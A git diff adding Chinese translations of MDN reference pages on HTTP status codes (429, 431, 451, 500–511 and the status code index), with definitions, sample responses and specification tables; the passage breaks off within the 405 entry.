<code><strong>429 Too Many Requests</strong></code> 表示在一定的时间内用户发送了太多的请求,即超出了“频次限制”。</p> + +<p>在响应中,可以提供一个 {{HTTPHeader("Retry-After")}} 首部来提示用户需要等待多长时间之后再发送新的请求。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">429 Too Many Requests</pre> + +<h2 id="示例">示例</h2> + +<pre>HTTP/1.1 429 Too Many Requests +Content-Type: text/html +Retry-After: 3600</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("6585", "429 Too Many Requests" , "4")}}</td> + <td>Additional HTTP Status Codes</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Retry-After")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/431/index.html b/files/zh-cn/web/http/status/431/index.html new file mode 100644 index 0000000000..aa855f944d --- /dev/null +++ b/files/zh-cn/web/http/status/431/index.html @@ -0,0 +1,42 @@ +--- +title: 431 Request Header Fields Too Large +slug: Web/HTTP/Status/431 +tags: + - 响应状态码 + - 响应码 + - 客户端错误 + - 状态码 +translation_of: Web/HTTP/Status/431 +--- +<div>{{HTTPSidebar}}</div> + +<p>响应码 <code><strong>431 Request Header Fields Too Large</strong></code> 表示由于请求中的首部字段的值过大,服务器拒绝接受客户端的请求。客户端可以在缩减首部字段的体积后再次发送请求。</p> + +<p>该响应码可以用于首部总体体积过大的情况,也可以用于单个首部体积过大的情况。</p> + +<p>这种错误不应该出现于经过良好测试的投入使用的系统当中,而是更多出现于测试新系统的时候</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">431 Request Header Fields Too Large</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("6585", "431 Request Header Fields Too Large" , "5")}}</td> + <td>Additional HTTP Status Codes</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{Glossary("Request header")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/451/index.html b/files/zh-cn/web/http/status/451/index.html new file mode 100644 index 0000000000..7092eb44c7 --- /dev/null +++ b/files/zh-cn/web/http/status/451/index.html @@ -0,0 +1,66 @@ +--- +title: 451 Unavailable For Legal Reasons +slug: Web/HTTP/Status/451 +tags: + - 响应状态码 + - 响应码 + - 客户端错误 + - 状态码 +translation_of: Web/HTTP/Status/451 +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>451</strong></code><strong><code> Unavailable For Legal Reasons</code></strong> (因法律原因不可用)是一种HTTP协议的错误状态代码,表示服务器由于法律原因,无法提供客户端请求的资源,例如可能会导致法律诉讼的页面。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">451 Unavailable For Legal Reasons</pre> + +<h2 id="示例">示例</h2> + +<p>这个响应示例来自 IETF RFC 规范(见下文),其中提到了英国戏剧电影{{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "Monty Python's Life of Brian")}} (《蒙提·派森之布莱恩的一生》)。</p> + +<p>注意 {{HTTPHeader("Link")}} 首部中可能会包含一个 <code>rel="blocked-by"</code> 字段,用于标明为该资源无法提供负责的主体,例如颁布法令将资源删除的个人或组织的名称。</p> + +<pre>HTTP/1.1 451 Unavailable For Legal Reasons +Link: <https://spqr.example.org/legislatione>; rel="blocked-by" +Content-Type: text/html + +<html> +<head><title>Unavailable For Legal Reasons</title></head> +<body> +<h1>Unavailable For Legal Reasons</h1> +<p>This request may not be serviced in the Roman Province +of Judea due to the Lex Julia Majestatis, which disallows +access to resources hosted on servers deemed to be +operated by the People's Front of Judea.</p> +</body> +</html></pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7725", "451 Unavailable For Legal Reasons")}}</td> + <td>An HTTP Status Code to Report Legal Obstacles</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.451")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{interwiki("wikipedia", "HTTP_451", "Wikipedia: HTTP 451")}}</li> + <li>{{interwiki("wikipedia", "Fahrenheit_451", "Wikipedia: Fahrenheit 451")}} (which gave this status code its number)</li> +</ul> diff --git a/files/zh-cn/web/http/status/500/index.html b/files/zh-cn/web/http/status/500/index.html new file mode 100644 index 0000000000..4223dc5241 --- /dev/null +++ b/files/zh-cn/web/http/status/500/index.html @@ -0,0 +1,50 @@ +--- +title: 500 Internal Server Error +slug: Web/HTTP/Status/500 +tags: + - HTTP + - 服务器端错误 + - 状态码 +translation_of: Web/HTTP/Status/500 +--- +<div>{{HTTPSidebar}}</div> + +<p>在 HTTP 协议中,<code><strong>500 Internal Server Error</strong></code> 是表示服务器端错误的响应状态码,意味着所请求的服务器遇到意外的情况并阻止其执行请求。</p> + +<p>这个错误代码是一个通用的“万能”响应代码。有时候,对于类似于 500 这样的错误,服务器管理员会更加详细地记录相关的请求信息来防止以后同样错误的出现。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox notranslate">500 Internal Server Error</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.500")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definitions</a></li> + <li><a href="https://kinsta.com/blog/500-internal-server-error/">HTTP Error 500 on WordPress</a></li> +<li><a href="https://www.exai.com/blog/http-error-500-wordpress">500 server error</a></li> + <li><a href="https://www.joomla-monster.com/documentation/joomla-tutorials/500-internal-server-error-on-joomla-website">500 server error on Joomla</a></li> +</ul> diff --git a/files/zh-cn/web/http/status/501/index.html b/files/zh-cn/web/http/status/501/index.html new file mode 100644 index 0000000000..39904b382e --- /dev/null +++ b/files/zh-cn/web/http/status/501/index.html @@ -0,0 +1,43 @@ +--- +title: 501 Not Implemented +slug: Web/HTTP/Status/501 +tags: + - HTTP + - 服务器错误 + - 状态码 +translation_of: Web/HTTP/Status/501 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <code><strong>501</strong></code><strong><code> Not Implemented</code></strong> 服务器错误响应码表示请求的方法不被服务器支持,因此无法被处理。服务器必须支持的方法(即不会返回这个状态码的方法)只有 {{HTTPMethod("GET")}} 和 {{HTTPMethod("HEAD")}}。</p> + +<p>请注意,你无法修复 501 错误,需要被访问的 web 服务器去修复该问题。</p> + +<div class="note"> +<p>501 响应默认是可缓存的。</p> +</div> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">501 Not Implemented</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "501 Not Implemented" , "6.6.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.501")}}</p> diff --git a/files/zh-cn/web/http/status/502/index.html b/files/zh-cn/web/http/status/502/index.html new file mode 100644 index 0000000000..32ba25eb5b --- /dev/null +++ b/files/zh-cn/web/http/status/502/index.html @@ -0,0 +1,45 @@ +--- +title: 502 Bad Gateway +slug: Web/HTTP/Status/502 +tags: + - 响应状态码 + - 服务器端错误 + - 状态码 +translation_of: Web/HTTP/Status/502 +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>502</strong></code><strong><code> Bad Gateway</code></strong> 是一种HTTP协议的服务器端错误状态代码,它表示作为网关或代理角色的服务器,从上游服务器(如tomcat、php-fpm)中接收到的响应是无效的。</p> + +<p>{{interwiki("wikipedia", "Gateway_(telecommunications)", "Gateway")}} (网关)在计算机网络体系中可以指代不同的设备,502 错误通常不是客户端能够修复的,而是需要由途径的Web服务器或者代理服务器对其进行修复。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">502 Bad Gateway</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.502")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPStatus(504)}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/503/index.html b/files/zh-cn/web/http/status/503/index.html new file mode 100644 index 0000000000..c15354d7f5 --- /dev/null +++ b/files/zh-cn/web/http/status/503/index.html @@ -0,0 +1,47 @@ +--- +title: 503 Service Unavailable +slug: Web/HTTP/Status/503 +tags: + - 响应状态码 + - 服务器错误 + - 状态码 +translation_of: Web/HTTP/Status/503 +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>503</strong></code><strong><code> Service Unavailable</code></strong> 是一种HTTP协议的服务器端错误状态代码,它表示服务器尚未处于可以接受请求的状态。</p> + +<p>通常造成这种情况的原因是由于服务器停机维护或者已超载。注意在发送该响应的时候,应该同时发送一个对用户友好的页面来解释问题发生的原因。该种响应应该用于临时状况下,与之同时,在可行的情况下,应该在 {{HTTPHeader("Retry-After")}} 首部字段中包含服务恢复的预期时间。</p> + +<p>缓存相关的首部在与该响应一同发送时应该小心使用,因为 503 状态码通常应用于临时状况下,而此类响应一般不应该进行缓存。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">503 Service Unavailable</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.503")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Retry-After")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/504/index.html b/files/zh-cn/web/http/status/504/index.html new file mode 100644 index 0000000000..5ac5607e6f --- /dev/null +++ b/files/zh-cn/web/http/status/504/index.html @@ -0,0 +1,44 @@ +--- +title: 504 Gateway Timeout +slug: Web/HTTP/Status/504 +tags: + - 响应状态码 + - 服务器端错误 +translation_of: Web/HTTP/Status/504 +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>504</strong></code><strong><code> Gateway Timeout</code></strong> 是一种HTTP协议的服务器端错误状态代码,表示扮演网关或者代理的服务器无法在规定的时间内获得想要的响应。</p> + +<p>{{interwiki("wikipedia", "Gateway_(telecommunications)", "Gateway")}} (网关)在计算机网络体系中可以指代不同的设备,504 错误通常不是在客户端可以修复的,而是需要由途径的Web服务器或者代理服务器对其进行修复。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">504 Gateway Timeout</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "504 Gateway Timeout" , "6.6.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.504")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPStatus(502)}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/505/index.html b/files/zh-cn/web/http/status/505/index.html new file mode 100644 index 0000000000..b32f9f0d7b --- /dev/null +++ b/files/zh-cn/web/http/status/505/index.html @@ -0,0 +1,36 @@ +--- +title: 505 HTTP Version Not Supported +slug: Web/HTTP/Status/505 +tags: + - 响应状态码 + - 服务器端错误 +translation_of: Web/HTTP/Status/505 +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>505</strong></code><strong><code> HTTP Version Not Supported</code></strong> 是一种HTTP协议的服务器端错误状态代码,表示服务器不支持请求所使用的 HTTP 版本。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">505 HTTP Version Not Supported</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "505 HTTP Version Not Supported" , "6.6.6")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Upgrade")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/506/index.html b/files/zh-cn/web/http/status/506/index.html new file mode 100644 index 0000000000..ecb244fa94 --- /dev/null +++ b/files/zh-cn/web/http/status/506/index.html @@ -0,0 +1,33 @@ +--- +title: 506 Variant Also Negotiates +slug: Web/HTTP/Status/506 +tags: + - HTTP + - 服务器错误 + - 状态码 +translation_of: Web/HTTP/Status/506 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP协议的 <code><strong>506 Variant Also Negotiates</strong></code> 响应状态码 可以在TCN(透明内容协商,见RF2295)上下文给出。TCN协议允许客户端取回给定资源的最佳变量/变元,这里服务器支持多个变量/变元。</p> + +<p>506码表示内部服务器配置错误,其中所选变量/变元自身被配置为参与内容协商,因此并不是合适的协商端点。</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">506 Variant Also Negotiates</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("2295", "506 Variant Also Negotiates" , "8.1")}}</td> + <td>Transparent Content Negotiation in HTTP</td> + </tr> + </tbody> +</table> diff --git a/files/zh-cn/web/http/status/507/index.html b/files/zh-cn/web/http/status/507/index.html new file mode 100644 index 0000000000..0182c239b7 --- /dev/null +++ b/files/zh-cn/web/http/status/507/index.html @@ -0,0 +1,33 @@ +--- +title: 507 Insufficient Storage +slug: Web/HTTP/Status/507 +tags: + - HTTP + - 服务器错误 + - 状态码 +translation_of: Web/HTTP/Status/507 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP协议的 <code><strong>507 Insufficient Storage</strong></code> 响应状态码 可以在WebDAV协议(基于web的分布式创作和版本控制,参见<a href="https://tools.ietf.org/html/rfc4918">RFC 4918</a>)中给出。</p> + +<p>507码表示服务器不能存储相关内容。准确地说,一个方法可能没有被执行,因为服务器不能存储其表达形式,这里的表达形式指:方法所附带的数据,而且其请求必需已经发送成功。</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">507 Insufficient Storage</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("4918", "507 Insufficient Storage" , "11.5")}}</td> + <td>Web Distributed Authoring and Versioning</td> + </tr> + </tbody> +</table> diff --git a/files/zh-cn/web/http/status/508/index.html b/files/zh-cn/web/http/status/508/index.html new file mode 100644 index 0000000000..e32f788899 --- /dev/null +++ b/files/zh-cn/web/http/status/508/index.html @@ -0,0 +1,36 @@ +--- +title: 508 Loop Detected +slug: Web/HTTP/Status/508 +tags: + - '508' + - HTTP + - 服务器错误 + - 状态码 +translation_of: Web/HTTP/Status/508 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP协议的 <code><strong>508 Loop Detected</strong></code> 状态码可以在WebDAV协议(基于Web的分布式创作和版本控制)中给出。</p> + +<p>508码表示服务器中断一个操作,因为它在处理具有“Depth: infinity”的请求时遇到了一个无限循环。508码表示整个操作失败。</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">508 Loop Detected</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("5842", "508 Loop Detected" , "7.2")}}</td> + <td>Web Distributed Authoring and Versioning</td> + </tr> + </tbody> +</table> diff --git a/files/zh-cn/web/http/status/510/index.html b/files/zh-cn/web/http/status/510/index.html new file mode 100644 index 0000000000..aca67449a4 --- /dev/null +++ b/files/zh-cn/web/http/status/510/index.html @@ -0,0 +1,33 @@ +--- +title: 510 Not Extended +slug: Web/HTTP/Status/510 +tags: + - HTTP + - 服务器错误 + - 状态码 +translation_of: Web/HTTP/Status/510 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP协议的 <code><strong>510 Not Extended</strong></code> 响应状态码在HTTP扩展框架协议(参见<a href="https://tools.ietf.org/html/rfc2774">RFC 2774</a>)中发送。</p> + +<p>在HTTP扩展框架协议中 ,一个客户端可以发送一个包含扩展声明的请求,该声明描述了要使用的扩展。如果服务器接收到这样的请求,但是请求不支持任何所描述的扩展,那么服务器将使用510状态码进行响应。</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">510 Not Extended</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("2774", "510 Not Extended" , "7")}}</td> + <td>An HTTP Extension Framework</td> + </tr> + </tbody> +</table> diff --git a/files/zh-cn/web/http/status/511/index.html b/files/zh-cn/web/http/status/511/index.html new file mode 100644 index 0000000000..73e0f025e5 --- /dev/null +++ b/files/zh-cn/web/http/status/511/index.html @@ -0,0 +1,42 @@ +--- +title: 511 Network Authentication Required +slug: Web/HTTP/Status/511 +tags: + - 响应状态码 + - 响应码 + - 服务器端错误 + - 状态码 +translation_of: Web/HTTP/Status/511 +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>511 Network Authentication Required</strong></code> 是一种HTTP协议的错误状态代码,表示客户端需要通过验证才能使用该网络。</p> + +<p>该状态码不是由源头服务器生成的,而是由控制网络访问的拦截代理服务器生成的。</p> + +<p>网络运营商们有时候会在准许使用网络之前要求用户进行身份验证、接受某些条款,或者进行其他形式的与用户之间的互动(例如在网络咖啡厅或者机场)。他们通常用用户设备的 {{Glossary("MAC")}} 地址来进行识别。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">511 Network Authentication Required</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("6585", "511 Network Authentication Required" , "6")}}</td> + <td>Additional HTTP Status Codes</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{Glossary("Proxy server")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/index.html b/files/zh-cn/web/http/status/index.html new file mode 100644 index 0000000000..79a1fda520 --- /dev/null +++ b/files/zh-cn/web/http/status/index.html @@ -0,0 +1,187 @@ +--- +title: HTTP 响应代码 +slug: Web/HTTP/Status +tags: + - HTTP + - 状态码 +translation_of: Web/HTTP/Status +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP 响应状态代码指示特定 <a href="/zh-cn/HTTP" title="zh-CN/HTTP">HTTP</a> 请求是否已成功完成。响应分为五类:信息响应(<code>100</code>–<code>199</code>),成功响应(<code>200</code>–<code>299</code>),重定向(<code>300</code>–<code>399</code>),客户端错误(<code>400</code>–<code>499</code>)和服务器错误 (<code>500</code>–<code>599</code>)。状态代码由 <a href="https://tools.ietf.org/html/rfc2616#section-10">section 10 of RFC 2616</a>定义</p> + +<h2 id="信息响应">信息响应</h2> + +<dl> + <dt>{{HTTPStatus(100, "100 Continue")}}</dt> + <dd>这个临时响应表明,迄今为止的所有内容都是可行的,客户端应该继续请求,如果已经完成,则忽略它。</dd> + <dt>{{HTTPStatus(101, "101 Switching Protocol")}}</dt> + <dd>该代码是响应客户端的 {{HTTPHeader("Upgrade")}} 标头发送的,并且指示服务器也正在切换的协议。</dd> + <dt>{{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}})</dt> + <dd>此代码表示服务器已收到并正在处理该请求,但没有响应可用。</dd> + <dt>{{HTTPStatus(103, "103 Early Hints")}} </dt> + <dd>此状态代码主要用于与{{HTTPHeader("Link")}} 链接头一起使用,以允许用户代理在服务器仍在准备响应时开始预加载资源。</dd> +</dl> + +<h2 id="成功响应">成功响应</h2> + +<dl> + <dt>{{HTTPStatus(200, "200 OK")}}</dt> + <dd> + <p>请求成功。成功的含义取决于HTTP方法:</p> + + <ul> + <li>GET:资源已被提取并在消息正文中传输。</li> + <li>HEAD:实体标头位于消息正文中。</li> + <li>POST:描述动作结果的资源在消息体中传输。</li> + <li>TRACE:消息正文包含服务器收到的请求消息</li> + </ul> + </dd> + <dt>{{HTTPStatus(201, "201 Created")}}</dt> + <dd>该请求已成功,并因此创建了一个新的资源。这通常是在POST请求,或是某些PUT请求之后返回的响应。</dd> + <dt>{{HTTPStatus(202, "202 Accepted")}}</dt> + <dd>请求已经接收到,但还未响应,没有结果。意味着不会有一个异步的响应去表明当前请求的结果,预期另外的进程和服务去处理请求,或者批处理。</dd> + <dt>{{HTTPStatus(203, "203 Non-Authoritative Information")}}</dt> + <dd>服务器已成功处理了请求,但返回的实体头部元信息不是在原始服务器上有效的确定集合,而是来自本地或者第三方的拷贝。当前的信息可能是原始版本的子集或者超集。例如,包含资源的元数据可能导致原始服务器知道元信息的超集。使用此状态码不是必须的,而且只有在响应不使用此状态码便会返回200 OK的情况下才是合适的。</dd> + <dt>{{HTTPStatus(204, "204 No Content")}}</dt> + <dd>服务器成功处理了请求,但不需要返回任何实体内容,并且希望返回更新了的元信息。响应可能通过实体头部的形式,返回新的或更新后的元信息。如果存在这些头部信息,则应当与所请求的变量相呼应。如果客户端是浏览器的话,那么用户浏览器应保留发送了该请求的页面,而不产生任何文档视图上的变化,即使按照规范新的或更新后的元信息应当被应用到用户浏览器活动视图中的文档。由于204响应被禁止包含任何消息体,因此它始终以消息头后的第一个空行结尾。</dd> + <dt>{{HTTPStatus(205, "205 Reset Content")}}</dt> + <dd>服务器成功处理了请求,且没有返回任何内容。但是与204响应不同,返回此状态码的响应要求请求者重置文档视图。该响应主要是被用于接受用户输入后,立即重置表单,以便用户能够轻松地开始另一次输入。与204响应一样,该响应也被禁止包含任何消息体,且以消息头后的第一个空行结束。</dd> + <dt>{{HTTPStatus(206, "206 Partial Content")}}</dt> + <dd>服务器已经成功处理了部分 GET 请求。类似于 FlashGet 或者迅雷这类的 HTTP 下载工具都是使用此类响应实现断点续传或者将一个大文档分解为多个下载段同时下载。该请求必须包含 Range 头信息来指示客户端希望得到的内容范围,并且可能包含 If-Range 来作为请求条件。</dd> + <dt>{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})</dt> + <dd>由WebDAV(RFC 2518)扩展的状态码,代表之后的消息体将是一个XML消息,并且可能依照之前子请求数量的不同,包含一系列独立的响应代码。</dd> + <dt>{{HTTPStatus(208, "208 Already Reported")}} ({{Glossary("WebDAV")}})</dt> + <dd>在 DAV 里面使用: propstat 响应元素以避免重复枚举多个绑定的内部成员到同一个集合。</dd> + <dt>{{HTTPStatus(226, "226 IM Used")}} (<a href="https://tools.ietf.org/html/rfc3229">HTTP Delta encoding</a>)</dt> + <dd>服务器已经完成了对资源的 GET 请求,并且响应是对当前实例应用的一个或多个实例操作结果的表示。</dd> +</dl> + +<h2 id="重定向">重定向</h2> + +<dl> + <dt>{{HTTPStatus(300, "300 Multiple Choice")}}</dt> + <dd>被请求的资源有一系列可供选择的回馈信息,每个都有自己特定的地址和浏览器驱动的商议信息。用户或浏览器能够自行选择一个首选的地址进行重定向。</dd> + <dt>{{HTTPStatus(301, "301 Moved Permanently")}}</dt> + <dd>被请求的资源已永久移动到新位置,并且将来任何对此资源的引用都应该使用本响应返回的若干个 URI 之一。如果可能,拥有链接编辑功能的客户端应当自动把请求的地址修改为从服务器反馈回来的地址。除非额外指定,否则这个响应也是可缓存的。</dd> + <dt>{{HTTPStatus(302, "302 Found")}}</dt> + <dd>请求的资源现在临时从不同的 URI 响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。</dd> + <dt>{{HTTPStatus(303, "303 See Other")}}</dt> + <dd>对应当前请求的响应可以在另一个 URI 上被找到,而且客户端应当采用 GET 的方式访问那个资源。这个方法的存在主要是为了允许由脚本激活的POST请求输出重定向到一个新的资源。</dd> + <dt>{{HTTPStatus(304, "304 Not Modified")}}</dt> + <dd>如果客户端发送了一个带条件的 GET 请求且该请求已被允许,而文档的内容(自上次访问以来或者根据请求的条件)并没有改变,则服务器应当返回这个状态码。304 响应禁止包含消息体,因此始终以消息头后的第一个空行结尾。</dd> + <dt><code>305 Use Proxy</code> {{deprecated_inline}}</dt> + <dd>被请求的资源必须通过指定的代理才能被访问。Location 域中将给出指定的代理所在的 URI 信息,接收者需要重复发送一个单独的请求,通过这个代理才能访问相应资源。只有原始服务器才能建立305响应。</dd> + <dt><code>306 unused</code></dt> + <dd>在最新版的规范中,306 状态码已经不再被使用。</dd> + <dt>{{HTTPStatus(307, "307 Temporary Redirect")}}</dt> + <dd>请求的资源现在临时从不同的URI 响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。</dd> + <dt>{{HTTPStatus(308, "308 Permanent Redirect")}}</dt> + <dd>这意味着资源现在永久位于由 <code>Location:</code> HTTP Response 标头指定的另一个 URI。 这与 <code>301 Moved Permanently HTTP</code> 响应代码具有相同的语义,但用户代理不能更改所使用的 HTTP 方法:如果在第一个请求中使用 <code>POST</code>,则必须在第二个请求中使用 <code>POST</code>。</dd> +</dl> + +<h2 id="客户端响应">客户端响应</h2> + +<dl> + <dt>{{HTTPStatus(400, "400 Bad Request")}}</dt> + <dd>1、语义有误,当前请求无法被服务器理解。除非进行修改,否则客户端不应该重复提交这个请求。</dd> + <dd>2、请求参数有误。</dd> + <dt>{{HTTPStatus(401, "401 Unauthorized")}}</dt> + <dd>当前请求需要用户验证。该响应必须包含一个适用于被请求资源的 WWW-Authenticate 信息头用以询问用户信息。客户端可以重复提交一个包含恰当的 Authorization 头信息的请求。如果当前请求已经包含了 Authorization 证书,那么401响应代表着服务器验证已经拒绝了那些证书。如果401响应包含了与前一个响应相同的身份验证询问,且浏览器已经至少尝试了一次验证,那么浏览器应当向用户展示响应中包含的实体信息,因为这个实体信息中可能包含了相关诊断信息。</dd> + <dt><code>402 Payment Required</code></dt> + <dd>此响应码保留以便将来使用,创造此响应码的最初目的是用于数字支付系统,然而现在并未使用。</dd> + <dt>{{HTTPStatus(403, "403 Forbidden")}}</dt> + <dd>服务器已经理解请求,但是拒绝执行它。与 401 响应不同的是,身份验证并不能提供任何帮助,而且这个请求也不应该被重复提交。如果这不是一个 HEAD 请求,而且服务器希望能够讲清楚为何请求不能被执行,那么就应该在实体内描述拒绝的原因。当然服务器也可以返回一个 404 响应,假如它不希望让客户端获得任何信息。</dd> + <dt>{{HTTPStatus(404, "404 Not Found")}}</dt> + <dd>请求失败,请求所希望得到的资源未被在服务器上发现。没有信息能够告诉用户这个状况到底是暂时的还是永久的。假如服务器知道情况的话,应当使用410状态码来告知旧资源因为某些内部的配置机制问题,已经永久的不可用,而且没有任何可以跳转的地址。404这个状态码被广泛应用于当服务器不想揭示到底为何请求被拒绝或者没有其他适合的响应可用的情况下。</dd> + <dt>{{HTTPStatus(405, "405 Method Not Allowed")}}</dt> + <dd>请求行中指定的请求方法不能被用于请求相应的资源。该响应必须返回一个Allow 头信息用以表示出当前资源能够接受的请求方法的列表。 鉴于 PUT,DELETE 